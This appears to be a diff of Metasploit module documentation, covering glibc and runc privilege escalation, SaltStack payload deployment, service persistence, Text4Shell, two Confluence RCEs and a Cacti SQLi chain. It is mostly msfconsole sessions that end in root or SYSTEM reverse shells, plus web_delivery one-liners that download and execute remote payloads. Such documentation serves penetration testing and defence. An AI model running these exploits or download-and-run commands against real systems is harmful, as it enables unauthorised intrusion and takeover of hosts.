OS : Ubuntu 22.04 (Linux 6.2.0-35-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Debian 12 with 2.36-9-deb12u1 installed (ARCH_X64)
```
msf6 exploit(linux/local/glibc_tunables_priv_esc) > options
Module options (exploit/linux/local/glibc_tunables_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION -1 yes The session to run this module on
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LPORT 5555 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
View the full module info with the info, or info -d command.
msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555
lport => 5555
msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/local/glibc_tunables_priv_esc) > run
[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The glibc version (2.36-9+deb12u1) found on the target appears to be vulnerable
[+] The Build ID for ld.so: a99db3715218b641780b04323e4ae5953d68a927 is in the list of supported Build IDs for the exploit.
[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.
[*] Sending stage (3045380 bytes) to 192.168.123.229
[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.229:50370) at 2023-12-19 12:21:34 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : debian.test.com
OS : Debian 12.1 (Linux 6.1.0-10-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,119 @@
## Vulnerable Application
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial session
1. Do: `use exploit/linux/local/runc_cwd_priv_esc`
1. Do: `set session [session]`
1. Do: `run`
1. You should get a root shell.
## Options
## DOCKERIMAGE
A docker image to use, docker image must have linux commands
available (`scratch` won't work). Defaults to `alpine:latest`
## FILEDESCRIPTOR
The file descriptor to use, typically `7` or `8`. Defaults to `8`
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04
Get an initial shell
```
user@userubuntu22:~/metasploit-framework$ ./msfconsole -qr runc.rb
[*] Processing runc.rb for ERB directives.
resource (runc.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (runc.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (runc.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/v5IbTIj', context=ssl._create_unverified_context());exec(r.read());"
[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes)
[*] Sending stage (24768 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 1.1.1.1:45198) at 2024-02-01 18:14:09 +0000
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer : userubuntu22
OS : Linux 5.19.0-43-generic #44~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon May 22 13:39:36 UTC 2
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > background
[*] Backgrounding session 1...
```
Priv Esc
```
resource (runc.rb)> use exploit/linux/local/runc_cwd_priv_esc
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
resource (runc.rb)> set lhost 1.1.1.1
[*] Using URL: http://1.1.1.1:8080/v5IbTIj
lhost => 1.1.1.1
resource (runc.rb)> set session 1
session => 1
resource (runc.rb)> set lport 9876
lport => 9876
msf6 exploit(linux/local/runc_cwd_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/runc_cwd_priv_esc) > run
[*] Started reverse TCP handler on 1.1.1.1:9876
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.7-0ubuntu1~22.04.1 detected
[*] Creating directory /tmp/.HdUvYm3
[*] /tmp/.HdUvYm3 created
[*] Uploading Payload to /tmp/.HdUvYm3/.OiGEedVKP
[*] Uploading Dockerfile to /tmp/.HdUvYm3/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
[*] Install the buildx component to build images with BuildKit:
[*] https://docs.docker.com/go/buildx/
[*]
[*] Sending build context to Docker daemon 3.072kB
[*] Step 1/3 : FROM alpine:latest
[*] ---> 05455a08881e
[*] Step 2/3 : WORKDIR /proc/self/fd/8
[*] ---> Using cache
[*] ---> f73c936557f3
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 4777 tmp/.HdUvYm3 && chown -R root:root tmp/.HdUvYm3 && chmod u+s tmp/.HdUvYm3/.OiGEedVKP
[*] ---> Running in c4afc663c2bc
[*] Removing intermediate container c4afc663c2bc
[*] ---> b490ec709420
[*] Successfully built b490ec709420
[*] Executing payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 1.1.1.1
[+] Deleted /tmp/.HdUvYm3
[*] Meterpreter session 2 opened (1.1.1.1:9876 -> 1.1.1.1:43876) at 2024-02-01 18:15:04 +0000
[-] run: Interrupted
msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
```
@@ -0,0 +1,126 @@
## Vulnerable Application
This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.
### Vulnerable Host
A vulnerable host install can be found in this [Docker environment](https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-11651/docker-compose.yml).
## Verification Steps
1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer`
1. Do: `set session [#]`
1. Do: `run`
1. You should get sessions on all the targeted hosts
## Options
### SALT
Location of salt-master executable if not in a standard location. This is added to a list of default locations
which includes `/usr/bin/salt-master`, `/usr/local/bin/salt-master`. Defaults to ``
### MINIONS
Which minions to target. Defaults to `*`
### WritableDir
A directory on the compromised host we can write our payload to. Defaults to `/tmp`
### TargetWritableDir
A directory on the target hosts we can write and execute our payload to. Defaults to `/tmp`
### CALCULATE
This will calculate how many hosts may be exploitable by using Ansible's ping command.
### ListenerTimeout
How many seconds to wait after executing the payload for hosts to call back.
If set to `0`, wait forever. Defaults to `60`
## Scenarios
### Minion 3002.2 on Ubuntu 20.04
Get initial access to the system. In this case, root was required to execute salt commands successfully.
```
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set srvport 8181
srvport => 8181
resource (salt_deploy.rb)> set target 7
target => 7
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/hvy2Ol
[*] Server started.
[*] Run the following command on the target machine:
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 3.3.3.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500
```
```
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set session 1
session => 1
resource (salt_deploy.rb)> set verbose true
verbose => true
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set lport 9996
lport => 9996
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) >
[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:9996
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /tmp is writable, and salt-master executable found
[+] The target is vulnerable.
[*] Attempting to list minions
[*] minions:
- mac_minion
- salt-minion
- window-salt-minion
minions_denied: []
minions_pre: []
minions_rejected: []
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml
[+] Minions List
============
Status Minion Name
------ -----------
Accepted mac_minion
Accepted salt-minion
Accepted window-salt-minion
[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
[*] Writing '/tmp/E76Azw' (336 bytes) ...
[*] Copying payload to minions
[*] Executing payloads
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500
```
@@ -39,7 +39,7 @@
2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever.
3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever.
**SHELLPATH**
**BACKDOOR_PATH**
If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin
@@ -72,15 +72,15 @@ Get initial access
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Install our callback service (system_v w/ chkconfig). Note we change SHELLPATH since /usr/local/bin isnt in the path for CentOS 5 services.
Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services.
msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence
msf exploit(service_persistence) > set session 1
session => 1
msf exploit(service_persistence) > set verbose true
verbose => true
msf exploit(service_persistence) > set SHELLPATH /bin
SHELLPATH => /bin
msf exploit(service_persistence) > set BACKDOOR_PATH /bin
BACKDOOR_PATH => /bin
msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(service_persistence) > set lhost 192.168.199.128
@@ -260,12 +260,12 @@ Now with a multi handler, we can catch systemd restarting the process every 10se
Module options (exploit/linux/local/service_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE no Name of service to create
SESSION -1 yes The session to run this module on.
SHELLPATH /tmp yes Writable path to put our shell
SHELL_NAME no Name of shell file to write
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_PATH /tmp yes Writable path to put our shell
SERVICE no Name of service to create
SESSION yes The session to run this module on
SHELL_NAME no Name of shell file to write
Payload options (cmd/unix/reverse_netcat):
@@ -0,0 +1,253 @@
## Vulnerable Application
This exploit takes advantage of the StringSubstitutor interpolator class,
which is included in the Commons Text library. A default interpolator
allows for string lookups that can lead to Remote Code Execution. This
is due to a logic flaw that makes the “script”, “dns” and “url” lookup
keys interpolated by default, as opposed to what it should be, according
to the documentation of the StringLookupFactory class. Those keys allow
an attacker to execute arbitrary code via lookups primarily using the
"script" key.
In order to exploit the vulnerabilities, the following requirements must
be met:
Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15
## Setup
1. `git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker`
1. `cd cve-2022-42889-text4shell-docker`
1. `mvn clean install`
1. `docker build --tag=text4shell .`
1. `docker run -p 80:8080 text4shell`
1. Vulnerable application now running at port 8080 on docker image's ip address
## Verification Steps
1. Setup the application
1. Start msfconsole
1. Do: `use apache_commons_text4shell`
1. Do: `set RHOST <docker ip>`
1. Do: `set RPORT 8080`
1. Do: `set TARGETURI /text4shell/attack`
1. Do: `set PARAM search`
1. Do: `set LHOST docker0`
1. Do: `run`
## Options
### PARAM
The parameter vulnerable to the exploit.
### METHOD
The HTTP method to use. Default: `GET`
### TARGETURI
The URI to target. Default: `/`
## Scenarios
### Apache Commons Text 1.8 on Alpine Linux v3.9 JDK 8
Check:
```
msf6 > use exploit/multi/http/apache_commons_text4shell
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2
rhost => 172.17.0.2
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080
rport => 8080
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack
targeturi => /text4shell/attack
msf6 exploit(multi/http/apache_commons_text4shell) > set param search
param => search
msf6 exploit(multi/http/apache_commons_text4shell) > check
[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection.
```
Target: java
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 0
target => 0
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/
[*] Sending stage (57692 bytes) to 172.17.0.2
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530
[*] Server stopped.
meterpreter >
```
Target: Linux Command
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 3
target => 3
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
Target: Linux Dropper
```
msf6 exploit(multi/http/apache_commons_text4shell) > set target 4
target => 4
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/
[*] Client 172.17.0.2 requested /L8kRU1E8O/
[*] Sending payload to 172.17.0.2
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530
[*] Server stopped.
meterpreter >
```
### Apache Commons Text 1.8 on Windows 11 home JDK 14.0.2
Target: Windows EXE Dropper
```
msf6 exploit(multi/http/apache_commons_text4shell) > options
Module options (exploit/multi/http/apache_commons_text4shell):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD GET yes The HTTP method to use (Accepted: GET, POST)
PARAM search yes The vulnerable parameter
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI text4shell/attack yes The target URI
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 5000 yes The local port to listen on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.18.168.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows EXE Dropper
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.18.168.145:4444
[*] Command Stager progress - 17.01% done (2046/12025 bytes)
[*] Command Stager progress - 34.03% done (4092/12025 bytes)
[*] Command Stager progress - 51.04% done (6138/12025 bytes)
[*] Command Stager progress - 68.06% done (8184/12025 bytes)
[*] Command Stager progress - 84.24% done (10130/12025 bytes)
[*] Sending stage (200774 bytes) to 172.18.160.1
[*] Command Stager progress - 100.00% done (12025/12025 bytes)
[*] Meterpreter session 5 opened (172.18.168.145:4444 -> 172.18.160.1:53165) at 2024-01-15 00:14:33 +0530
meterpreter > sysinfo
Computer : HOME
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
Target: Windows Command
```
msf6 exploit(multi/http/apache_commons_text4shell) > options
Module options (exploit/multi/http/apache_commons_text4shell):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD GET yes The HTTP method to use (Accepted: GET, POST)
PARAM search yes The vulnerable parameter
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI text4shell/attack yes The target URI
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
on all addresses.
SRVPORT 5000 yes The local port to listen on.
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.18.168.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Windows Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/apache_commons_text4shell) > run
[*] Started reverse TCP handler on 172.18.168.145:4444
[*] Sending stage (175686 bytes) to 172.18.160.1
[*] Meterpreter session 6 opened (172.18.168.145:4444 -> 172.18.160.1:53170) at 2024-01-15 00:15:18 +0530
meterpreter > sysinfo
Computer : HOME
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >```
@@ -0,0 +1,141 @@
## Vulnerable Application
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses the
injection to evaluate an OGNL expression resulting in OS command execution.
Confluence versions up to and including 8.5.3 are vulnerable to this SSTI injection flaw. For more complete information
on affected and fixed versions, see [CONFSERVER-93833][1].
### Setup
1. Create a new `docker-compose.yml` file with the contents below.
2. Startup the container using `docker-compose up`
3. Navigate to the HTTP service running on port 8090
4. Acquire and provide an evaluation license
5. When prompted, setup a standalone / non-clustered system
6. Configure the database settings
1. Select "By connection string", then Database URL: `jdbc:postgresql://postgresql:5432/confdb`
2. Username and password are both `confdb`
7. Setup takes a few minutes
8. When prompted, select "Empty Site"
9. Select "Manage users and groups within Confluence"
10. Create an account, it **will not** be needed for exploitation
11. Once setup has completed select "Start" and set a space name to something
#### Docker Compose File
```
version: '3'
services:
postgresql:
image: postgres:11
environment:
POSTGRES_DB: confdb
POSTGRES_USER: confdb
POSTGRES_PASSWORD: confdb
ports:
- '5432:5432'
confluence-server:
depends_on:
- postgresql
image: atlassian/confluence:8.5.3
ports:
- '8090:8090'
- '8091:8091'
```
## Verification Steps
1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/atlassian_confluence_rce_cve_2023_22527`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module
## Options
## Scenarios
### Confluence 8.5.3 in [Docker]
```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Confluence version: 8.5.3
[*] Detected target platform: Linux
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (24772 bytes) to 192.168.159.128
[*] Meterpreter session 8 opened (192.168.159.128:4444 -> 192.168.159.128:52920) at 2024-01-24 12:45:59 -0500
meterpreter > getuid
Server username: confluence
meterpreter > sysinfo
Computer : c38aa4f3b92e
OS : Linux 6.6.11-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 10 19:25:59 UTC 2024
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > pwd
/var/atlassian/application-data/confluence
meterpreter >
```
### Confluence 8.5.3 on Windows Server 2019
```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Windows\ Command
TARGET => Windows Command
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit
[*] Powershell command length: 4371
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Confluence version: 8.5.3
[*] Detected target platform: Windows Server 2019
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[*] Sending stage (200774 bytes) to 192.168.159.10
[*] Meterpreter session 9 opened (192.168.159.128:4444 -> 192.168.159.10:58923) at 2024-01-24 12:47:39 -0500
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x64/windows
meterpreter > pwd
C:\Program Files\Atlassian\Confluence
meterpreter >
```
[1]: https://jira.atlassian.com/browse/CONFSERVER-93833
@@ -0,0 +1,108 @@
## Vulnerable Application
This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
Confluence instance administrator account. Using this account, an attacker can then perform all
administrative actions that are available to Confluence instance administrator. This module uses the
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
execution on the target in the context of the of the user running the confluence server.
### Setup
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download.).
By default the server will listen for HTTP connections on port 8090. This exploit module was tested against Confluence
8.5.1 running on Windows Server 2022.
After running the installer the setup wizard will ask for a trial license. An Atlassian account is free and required
to obtain the trial licence. A database and a will also be required to run Confluence. Download and install
[PostgreSQL](https://www.enterprisedb.com/downloads/postgres-postgresql-downloads). The setup Wizard will ask for DB
credentials, the default PostgreSQL database can be used.
## Verification Steps
1. Start msfconsole
1. Do: `use atlassian_confluence_unauth_backup`
1. Set the `RHOST`
1. Run the module
1. Receive a Meterpreter session in the context of the user running the Confluence application.
## Options
### CONFLUENCE_TARGET_ENDPOINT
This is the endpoint used to trigger the vulnerability, and must be reachable by an un authenticated HTTP(S) POST
request. The three vulnerable endpoints outlined by Atlassian in the advisory for this vulnerability are as follows:
- /json/setup-restore.action
- /json/setup-restore-local.action
- /json/setup-restore-progress.action'
### CONFLUENCE_PLUGIN_TIMEOUT
The exploit will install a malicious plugin into the Confluence server. Plugin installation is performed asynchronously
and we must poll the server to find out when installation has completed. This option governs the maximum amount
of time to wait for installation to complete. The timeout value is in seconds and by default this option is set to `30`.
## Scenarios
### Windows Server 2022 running Atlassian Confluence 8.5.1
```
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set rhost 172.16.199.134
rhost => 172.16.199.134
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set verbose true
verbose => true
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > options
Module options (exploit/multi/http/atlassian_confluence_unauth_backup):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFLUENCE_PLUGIN_TIMEOUT 30 yes The timeout (in seconds) to wait when installing a plugin
CONFLUENCE_TARGET_ENDPOINT /json/setup-restore.action yes The endpoint used to trigger the vulnerability. (Accepted: /json/setup-restore.action, /json/setup-restore-local.action, /json/setup-restore-progress.action)
NEW_PASSWORD LELTtnOG yes Password to be used when creating a new user with admin privileges
NEW_USERNAME candace.leffler yes Username to be used when creating a new user with admin privileges
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.199.134 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.5.1
[*] Setting credentials: candace.leffler:LELTtnOG
[+] Exploit Success! Login Using 'candace.leffler :: LELTtnOG'
[*] Generating payload plugin
[*] Uploading payload plugin
[*] Triggering payload plugin
[*] Deleting plugin...
[*] Sending stage (57692 bytes) to 172.16.199.134
[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.134:50095) at 2023-12-11 18:52:33 -0500
meterpreter > getuid
Server username: WIN-2EEL7BRDUD8$
meterpreter > sysinfo
Computer : WIN-2EEL7BRDUD8
OS : Windows Server 2022 10.0 (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/windows
meterpreter >
```
@@ -0,0 +1,244 @@
## Vulnerable Application
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.
The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25.
The exploit will do the following:
- Login with the provided credentials
- Perform a series of SQL injections to:
- backup the current log file path and add a new path to the `settings` table
- insert the new log file path to the External Links table (`external_links`)
- add permission to access this external link to the current user (`user_auth_realm`)
- Poison the log file to add the payload stager
- Trigger the payload by accessing the external link page (`link.php)`
- Cleanup the SQL tables that were modified to their original states
- Remove the new log file that contains the stager
### Docker installation of Cacti version 1.2.25
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)):
- `docker-compose.yml`:
```
version: '2'
services:
web:
build: ./cacti
ports:
- "8080:80"
depends_on:
- db
entrypoint:
- bash
- /entrypoint.sh
volumes:
- ./entrypoint.sh:/entrypoint.sh
command: apache2-foreground
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=cacti
```
- `entrypoint.sh`:
```
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
